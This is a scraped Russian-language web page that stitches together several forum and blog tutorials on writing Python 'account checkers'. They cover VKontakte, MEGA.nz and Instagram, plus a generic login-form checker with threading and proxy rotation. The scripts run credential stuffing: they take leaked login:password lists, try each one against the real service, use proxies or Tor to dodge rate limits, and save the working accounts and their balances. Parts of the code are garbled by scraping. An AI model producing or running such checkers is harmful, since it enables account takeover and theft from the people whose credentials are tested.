Как сделать чекер аккаунтов на python
Перейти к содержимому

Как сделать чекер аккаунтов на python

  • автор:

[Python] Пишем простой Чекер для Вконтакте

На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем — пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.

Мы обновили Tor зеркало до v3!
Для входа используйте следующий url: darkv3nw2. bzad.onion/

Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
Ссылка: https://t.me/chat_dark_time

Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём некорректно.
Вам необходимо обновить браузер или попробовать использовать другой.

  • Общий раздел
  • Журнал
  • Взлом и защита информации
WlDone
Участник
WlDone
Участник

1 Мар 2018 4 4

Здравствуйте, дорогие пользователи данного форума. Сегодня я бы хотел описать реализацию простого Чекера аккаунтов для социальной сети, как Вконтакте на таком скриптовом языке, как Python 3.x. Для кого будет полезна данная статья? Ну, на этот вопрос нет точного ответа, но я думаю, что она будет наиболее полезна новичкам в данном деле, чем «старичкам» / «старожилам», ибо они и без меня в этом прекрасно разбираются. Ну, что же. Давайте начнём с самого важного и простого, а именно подготовки необходимых инструментов, модулей, а также значений, что потребуются нам в будущем скрипте.

Во-первых, если в вашей системе отсутствует Python 3.x, то вам необходимо установить его c официального сайта разработчиков языка (

Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Во-вторых, вам необходимо установить одноимённый модуль для работы с open vk API — vk. Как же это сделать? Здесь всё максимально просто и элементарно. Введите данные команды в терминал :
Для систем на базе Unix — sudo pip install vk
Для систем на базе Windows — pip install vk

В-третьих, вам необходимо получить вашего зарегистрированного приложения. Как это сделать? Перейдите по

Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

и зарегистрируйте standalone-приложение. Получилось? Хорошо, теперь перейдите в каталог с названием настройки, найдите строку id приложения и скопируйте его значение.

Уже всё сделали? Отлично, теперь мы можем открыть свою любимую IDE или текстовый редактор, которые довольно часто выступают в роли девушек у разработчиков, создать произвольный файл с раширением .py и импортировать необходимый модуль vk и функцию sleep из модуля time. Зачем нам нужна данная функция? Здесь всё просто. Социальная сеть Вконтакте накладывает ряд ограничений на использование своего API и одно из них звучит, примерно, так :
Только 3 запроса в секунду.

import vk
from time import sleep

Импортировали? Теперь давайте создадим функцию VkChecker и наполним её такими методами, как __init__ , vk__init и наконец file__reader. ( Точки выступают в роли отступов )

class VkChecker ( ) :

. def __init__ ( self ) :
. #some code

. def vk__init ( self ) :
. #some code

. def file__reader ( self , dirname_to_file ) :
. #some code

Теперь заполним методы необходимым кодом, но перед этим, пожалуйста, почитайте объяснения алгоритма действия данных методов по отдельности. С чего начнём? Объяснять по порядку? Хорошо. Метод __init__ является обязательным для классов в языке Python, они вызываются при инициализации класса. Так что же мы видим здесь? Она попросту вызывает метод vk__init. Так в чём собственно состоит алгоритм метода vk__init? Весь алгоритм основан на постоянной попытке авторизации каждые 0.5 секунды. В случае, если аккаунт является валидным, скрипт сообщает нам об этом, а также записывает логин и пароль от него в файл под названием valid.txt. Ну, а в случае, когда аккаунт невалиден нам попросту сообщают об этом и более ничего. ( Оценка валидности основывается на перехвате ошибки авторизации / VkAuthError ). Ну, а по поводу метода file__reader могу сказать, что он получает полный путь до файла, считывает его содержимое, разбивает каждую строку по такому символу, как двоеточие, добавляет результат в список и наконец возвращает результат для последующего использования в методе vk__init.

Код :

import vk
from time import sleep

. def __init__ ( self ) :
. self.vk__init ( )

. def vk__init ( self ) :
. for x in self.file__reader ( r»Здесь должно быть имя с расширением или полный путь до файла» ) :
. try :
. sleep( 0.5 )
. session = vk.AuthSession ( app_id = «Здесь должен быть id вашего созданного приложения ВК (Значение имеет тип числа / int, а не строки / string )» , user_login = x [ 0 ] , user_password = x [ 1 ] )
. vk__api = vk.API ( session )
. print («Валиден»)
. with open ( «valid.txt» , «a» ) as valid :
. valid.write(» — \n».format ( x [ 0 ] , x [ 1 ] ) )
. except vk.exceptions.VkAuthError :
. print («Невалиден»)

. def file__reader ( self , dirname_to_file ) :
. result = [ ]
. with open ( dirname_to_file , «r» ) as file_with_log_pass :
. for line in file_with_log_pass :
. line = [ x.strip ( ) for x in line.split ( «:» ) ]
. log__pass = ( line[ 0 ] , line[ 1 ] )
. result.append( log__pass )
. return result

Вот и подошла под конец моя небольшая статья по реализации Чекера аккаунтов Вконтакте. Спасибо за предоставленное внимание и удачи в совершенствовании своих навыков.

Пишем чекер аккаунтов на PYTHON

Приступаем, после скачивания python. Установим нужные нам зависимости, то есть бибилиотеки .

Тыкаем WIN + R и пишем cmd, нажимаем enter. Вы открыли консоль (командную строку) .

В консольке пишем:

pip install DateTime && pip install mega.py

Ждем окончания загрузки, и закрываем cmd . Теперь создаем txt фалик и заменяем txt на py. Открываем его текстовый редактором (редактором кода), и начинаем кодить.

from mega import Mega mega = Mega()

Импортируем библиотеку Mega, которая нам надо для самой функции брута.

Сделаем еще два импорта (можно и без них, но придется изменять код) они просто для удобства

import datetime import sys

Теперь сделаем def в который будет спрашивать названия файлика с базой для бурта, и проверять что ввел юзер (если он ввел название без .txt окончание то добавлять его).

def main(): print('MEGA.NZ ACCOUNTS BRUTER BY SHIFTER\n') print('Поместите базу для брута в директорию с этим скриптом') q = str(input('Введите название файла (базы для брута): ')) if '.txt' in q: dir_ = q else: dir_ = q + '.txt' checker(dir_)

def — Оболочка с кодом так сказать. тык

input — запрашивает текст (дает пользователю ввести текст)

if, else — операторы. Если произойдет это действие то будет так, если произойдет иначе будет так.

checker(dir_) — перенаправление на другой def под названием checker (который уже и будет чекать аккаунт на валид). Также мы через это перенаправлением передаем аргумент (args) под названием dir_ то есть то что ввел пользователь

Теперь сделаем что бы def main() работал.

main()

Осталась последняя часть. Сам чекер, для новеньких в этой сфере ничего не будет понятно скорее всего, но постараюсь объяснить.

Между импортами и def main() (см. скрин выше) пишем:

def checker(dir_):

Мы опять создали оболочку где будет храниться и выполняться наш код чекера.

Теперь будем использовать ранее импортированную библиотеку datetime. Для чего? Да что бы сохранять наш файлик с прочеканой базой время когда начался брут.

date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-') file_name = 'output_' + date + '.txt'

Мы создали переменную date, которая выдает точное время (2021-02-22 16:49:06.035025 например.)

и что бы не было ошибки что нельзя сделать файлик с названием в котором есть «:» мы их заменяем функцией replace() на ‘-‘.

Потом же создаем переменную которая обозначает название файлика где будет сохранен результат.

Теперь сделаем обработку ошибок, что бы при ошибке скрипт не падал, а просто показывал ошибку. Подробней здесь

try: except Exception as e: print(e)

as — логично с анг. «как».

то есть мы ловим ошибку как e и потом выводим ошибку.

Приступаем к созданию файлика где будет результат и чтению файлика с базой для дальнейших действий. Пишем между try: и except: данный код

with open(file_name, 'w', encoding='utf-8') as f: f.write('MEGA.NZ ACCOUNTS:\n\n') with open(dir_, 'r', encoding='utf-8') as accounts:

мы юзаем конструкцию with open . Т.к. она автоматически закрывает файлик.

accounts = accounts.read()

этим кодом просматриваем содержимое нашего файлика под переменной dir_ .

Напишем проверку используя операторов If, else.

if len(accounts) >= 1: account = accounts.split('\n')

len — с англ. сокращено от слова Leng, длина. Мы проверяем на то что в фалике больше 1 символа, иначе выводим ошибку:

else: sys.exit('Файл ' + dir_ + ' пустой!')

Используя встроенную библиотеку в python — sys. Подробней о библиотеке здесь

Если же в файлике больше одного символа то срабатывает код который мы сейчас будем писать. На данный момент, создаётся переменная account которая содержит в себе аккаунты. Также мы использовали метод split() который обрезает строку по заданным параметрами. В нашем случае мы разделяем весь файлик на много строк (ну то есть 1 строка в файлике — 1 строка в переменной. Они записываются листом .)

‘\n’ это перенос строки на 1 вниз.

Теперь между if и else (см. скрин выше) пишем еще одну проверку на то что выводить в соответствии от кол-ва аккаунтов в текстовом документе (если 1 — аккаунта, если 0 или больше 1 то аккаунтов)

if str(len(account)) == '1': q = 'a' else: q = 'ов'

И выводим методом print() то сколько аккаунтов чекер будет чекать:

print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)
Окончание: сам чекер

Используем цикл for мы по очереди начинаем выполнять код который будет ниже.

Снов пишем конструкцию try: except: которая в этом случае будет мало ли того что поможет скрипту не падать, да и еще определять валидный ли аккаунт.

try: acc = account.split(':') mega.login(acс[0], acc[1]) print("[+] " + account) output = open(file_name, 'a', encoding='utf-8') output.write(account + '\n') output.close() except: print(f"[-] ")

Это последние строки кода. В цикле, мы начинаем ловить ошибку, выполняем код:

acc = account.split(':')

разделяем строку на логин и пароль методом split который мы уже использовали выше)

Используем библиотеку mega и пробуем выполнить вход в аккаунт:

mega.login(acс[0], acc[1])

если пароль или логин не верный скрипт должен был упасть, но мы сделали конструкцию try: except благодаря чему он не падает. А выводить ошибку что аккаунт не валидный:

except: print(f"[-] ")

Если же аккаунт валид — выводим это:

print("[+] " + account)

и сохраняем его в файлик под названием значения нашей переменной file_name:

output = open(file_name, 'a', encoding='utf-8') output.write(account + '\n') output.close()

Открываем файлик с режимом A что обозначает, что аккаунты будут дописываться в файл. Также используем encoding, здесь очевидно. Но все же, это для того что бы при сохранение файлика случайно не вышло такого:

На этом наш кодинг закончился..

Наш итоговый код:

from mega import Mega mega = Mega() import datetime import sys def checker(dir_): date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-') file_name = 'output_' + date + '.txt' try: with open(file_name, 'w', encoding='utf-8') as f: f.write('MEGA.NZ ACCOUNTS:\n\n') with open(dir_, 'r', encoding='utf-8') as accounts: accounts = accounts.read() if len(accounts) >= 1: account = accounts.split('\n') if str(len(account)) == '1': q = 'a' else: q = 'ов' print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q) for account in account: try: acc = account.split(':') mega.login(acс[0], acc[1]) print("[+] " + account) output = open(file_name, 'a', encoding='utf-8') output.write(account + '\n') output.close() except: print(f"[-] ") sys.exit('Брут закончен! Результат сохранен в ' + file_name) else: sys.exit('Файл ' + dir_ + ' пустой!') except Exception as e: print(e) def main(): print('MEGA.NZ ACCOUNTS BRUTER BY SCAMMEMS\n') print('Поместите базу для брута в директорию с этим скриптом') q = str(input('Введите название файла (базы для брута): ')) if '.txt' in q: dir_ = q else: dir_ = q + '.txt' checker(dir_) main()
Переходим к запуску скрипта:

Отрываем cmd (командную строку);

Пишем cd путь/к/файлику.py Потом пишем python файлик.py

Вводим название файла где храниться база для брута. Ожидаем не много времени, и готово! База сохранена в файлику под названием времени когда был запущен брут.

Пишем свой чекер аккаунтов на Python

⚠️ Дисклеймер Статья написана с познавательной и ознакомительной целью, мы не призываем читателей к запрещенным законодательством действиям, а также не создаём пропаганду. Мы никого ни к чему не призываем! Вся информация представленная нами — это фантазия автора, выдумка, сон, вымысел. Данный материал не имеет ни какого отношения к реальности, все совпадения — случайность. Автор материала не несёт ответственности за ваши действия. Все персонажи и описываемые события являются вымышленными.

Итак, сегодня мы будем писать чекер аккаунтов. Чтобы не было никакой рекламы, писать чекер мы будем на свой сайт.
Внимание: этот гайд для новичков, если вы уже знаете как работать с requests, тут ничего полезного для вас не будет (наверное)

Что нам необходимо:

  1. Python 3 (Желательно последней версии) — скачать ​
  2. Редактор кода, например PyCharm , VS Code , Notepad++ ​
  3. Свой сайт — скачать исходники , exe , VT ​
  4. Библиотека requests — pip install requests​
  5. Минимальные знания Python и прямые руки

Для начала запускаем сервер, он нам даст адрес нашего сайта:

Переходим на сайт и видим форму входа

У нас есть 2 пользователя:​

Теперь мы можем начинать писать наш чекер, создаем новый файл с окончанием .py и добавляем нужный нам импорт:

import requests

База аккаунтов у нас будет в файле logins.txt , создаём её (не обязательно переписывать всё, просто добавьте аккаунты по вкусу):

Далее нам надо эту базу прочитать, для этого откроем файл через open:

file = open('logins.txt').read()

Но это только прочитает файл, а нам надо ещё разделить аккаунты по строкам, для этого используем .split(‘\n’), который разделит файл:

Теперь переходим в браузер, я буду показывать на примере Google Chrome. Открываем наш сайт и нажимаем Ctrl + Shift + I, и переходим в вкладку Network, и нажимаем на флажок Preserve log

Далее вводим верный логин и пароль и нажимаем Войти, у нас во вкладке Network появится новый запрос

Нажимаем на него и видим такую картину

Смотрим в Request Headers, нас интересует Content-Type. У нас это application/x-www-form-urlencoded. Он может быть и application/json. Мы будем делать всё на примере application/x-www-form-urlencoded. JSON рассмотрим уже во второй части. Теперь смотрим в Form Data и видим поля login и password. Теперь мы можем приступить к написанию кода. Т.к. у нас POST запрос, мы будем использовать requests.post и ссылку из Request URL:

requests.post("http://127.0.0.1:5000/login")

Далее нам надо передать наш логин и пароль, для этого добавляем после URL, data=<>:

requests.post("http://127.0.0.1:5000/login", data=<>)

Теперь в <> пишем поля из Form Data:

Для получения ответа сервера необходимо добавить .text в конец строки. В итоге:

requests.post("http://127.0.0.1:5000/login", data=).text

Кидаем это всё в print и смотрим результат. Если вы всё сделали правильно, то будет такое:

Теперь мы можем добавить проверку на успешный вход и получение баланса:​

login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(balance) else: # Пароль не верный print("Не валидный аккаунт")

Итак, время проверять наши аккаунты! Для этого добавляем цикл перебора всех аккаунтов и с помощью .split(«:») делим базу на логин и пароль. Добавляем наши переменные в запрос и добавляем выводы:​

for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")

Запускаем и видим, что наши аккаунты прочекались:

import requests # Читаем file = open('logins.txt').read().split('\n') # Чекаем все аккаунты for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")

Потоки
Чекер слишком долго проверяет аккаунты? Это время добавить потоки, которые будут проверять аккаунты не зависимо друг от друга. Для этого мы будем использовать библиотеку threading — она уже есть в Python. Добавляем её:

import threading

Теперь нам надо написать функцию проверки аккаунта, просто вносим весь код в неё:​

def check(account): username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")

Теперь нам нужна функция для самого потока, которая будет брать аккаунт и проверять его:​

def thread(): # Пока есть аккаунты while file: # Берём первый аккаунт из списка to_check = file[0] # Удаляем его из списка file.remove(to_check) try: # Вызываем функцию проверки аккаунта check(to_check) except Exception as e: # Если что-то пойдет не так, выведет ошибку print("Ошибка:", e)

Добавляем переменную thread_count, в которой мы будем указывать количество потоков:

thread_count = 10

Итак, базу мы написали. Теперь можно писать запуск потоков:​

# Запускаем thread_count потоков for _ in range(thread_count): # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ. t = threading.Thread(target=thread) # Запускаем поток t.start()

Запускаем и смотрим как быстро отработал наш чекер

import threading import requests # Читаем file = open('logins.txt').read().split('\n') thread_count = 10 def thread(): # Пока есть аккаунты while file: # Берём первый аккаунт из списка to_check = file[0] # Удаляем его из списка file.remove(to_check) try: # Вызываем функцию проверки аккаунта check(to_check) except Exception as e: # Если что-то пойдет не так, выведет ошибку print("Ошибка:", e) # Перебираем все аккаунты def check(account): username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ") # Запускаем thread_count потоков for _ in range(thread_count): # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ. t = threading.Thread(target=thread) # Запускаем поток t.start()

Запись в файл
Вывод в консоль не самый удобный метод. Надо писать валидные аккаунты в файл. Для этого мы будем использовать open(), но с некоторыми различиями. Чтобы открыть файл на запись нам нужен режим a+, где a — append (добавлять к файлу) и + — создание файла если его нет.
Пример:

open('файл', 'a+').write("текст")

В нашем случае мы будем писать гуды в файл good.txt . Для этого, чтобы не открывать его кучу раз используем (не забывая в конце закрыть файл через .close()):

goods = open('good.txt', 'a+')

Рядом с print пишем саму запись в файл:

goods.write(f":\n")

\n в конце — это перенос строки в файле. Добавляем это рядом с print (или вместо его). Запускаем код и смотрим в файл good.txt :

Наши валидные аккаунты записались в файл

import requests # Читаем file = open('logins.txt').read().split('\n') goods = open('good.txt', 'a+') # Чекаем все аккаунты for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] goods.write(f":\n") print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")

Прокси
Последняя тема, которую мы разберём в данном уроке — прокси. Чекер без прокси долго работать не будет. Читать прокси мы будем аналогично аккаунтам:

proxies = open('proxy.txt').read().split('\n')

Прокси должны начинаться с протокола, например https:// или socks5://. Можно добавить протокол в сам код или прямо в файл с листом прокси. Выбираем рандомный прокси:

proxy = random.choice(proxies)

Чтобы использовать прокси в запросах, надо их передать. Добавляем после data=<> запятую и пишем

proxies=dict(http=proxy, https=proxy)

random.choice выберет рандомный прокси из нашего списка. Его так-же надо импортировать:

import random

Чтобы работать с socks надо установить pysocks:

pip install pysocks

Внимание: если вы работаете с локальным сервером, прокси не будут работать. Выглядеть код должен примерно так:

requests.post("http://127.0.0.1:5000/login", data=, proxies=dict(http=proxy, https=proxy)).text
import random import requests # Читаем file = open('logins.txt').read().split('\n') proxies = open('proxy.txt').read().split('\n') # Чекаем все аккаунты for account in file: proxy = random.choice(proxies) username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=, proxies=dict(http=proxy, https=proxy)).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")

Checker python Selenium

Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нем неправильно.
Необходимо обновить браузер или попробовать использовать другой.

Govard
Новичок

Пользователь

Апр 21, 2020 22 4 3

Здравствуйте. Решил создать чекер аккаунтов инстаграм.
Подскажите пожалуйста, как можно менять ip при перезагрузке браузера. У меня стоит профиль Tor. То есть ip автоматически меняется каждые 10 минут. Как мне сделать так, чтобы ip менялось 1 раз в минуту. Возможно ли это вообще?

import time from selenium import webdriver from selenium.webdriver.firefox.firefox_profile import FirefoxProfile # база почт file = open('Good2.txt', encoding='utf-8-sig').read().split('\n') # запись валидных аккаунтов goods = open('good_acc.txt', 'a+') def settings_browser(): """ Настройки браузера FireFox. """ profile = FirefoxProfile(r'C:\Users\ASUS\Desktop\Scrap\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default') profile.set_preference('network.proxy.type', 1) profile.set_preference('network.proxy.socks', '127.0.0.1') profile.set_preference('network.proxy.socks_port', 9050) profile.set_preference("network.proxy.socks_remote_dns", False) # get a huge speed increase by not downloading images profile.set_preference("permissions.default.image", 2) profile.update_preferences() return profile def check_email(): """ Принимает всплывающее окно куки. Чекает валидность почт, если почта валидна, то сохраняет в файл 'good_acc.txt'. """ driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe') for login in file: driver.get("https://www.instagram.com/accounts/password/reset/") body = driver.find_elements_by_class_name('pbNvD.FrS-d.gD9tr') for bd in body: if bd.find_element_by_class_name('aOOlW.bIiDR').text == 'Принять все': bd.find_element_by_class_name('aOOlW.bIiDR').click() time.sleep(7) authorization = driver.find_elements_by_class_name("AHCwU") pops = driver.find_elements_by_class_name("_-rjm") username = login.split(":")[0] password = login.split(":")[1] for data in authorization: # почта логин data_login = data.find_element_by_name('cppEmailOrUsername') data_login.click() data_login.send_keys(username) time.sleep(1) # кнопка входа clock_button = data.find_element_by_class_name('sqdOP.L3NKy.y3zKF') clock_button.click() time.sleep(2) for pop in pops: if 'Мы отправили ссылку для восстановления' in pop.find_element_by_class_name('tA2fc').text: # Почта зарегана goods.write(username + ' : ' + password + '\n') print('Валидный аккаунт ' + username + ' : ' + password) elif 'Подождите несколько минут, прежде чем пытаться снова.' in pop.find_element_by_class_name('tA2fc').text: driver.quit() driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe') print('Успешная перезагрузка драйвера из-за "Подождите несколько минут, прежде чем пытаться снова."') elif 'feedback_required' in pop.find_element_by_class_name('tA2fc').text: driver.quit() driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe') print('Успешная перезагрузка драйвера из-за "feedback_required"') else: # Почта не зарегана print(f"Не валидный аккаунт " + username) goods.close() def main(): check_email() if __name__ == '__main__': main()

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *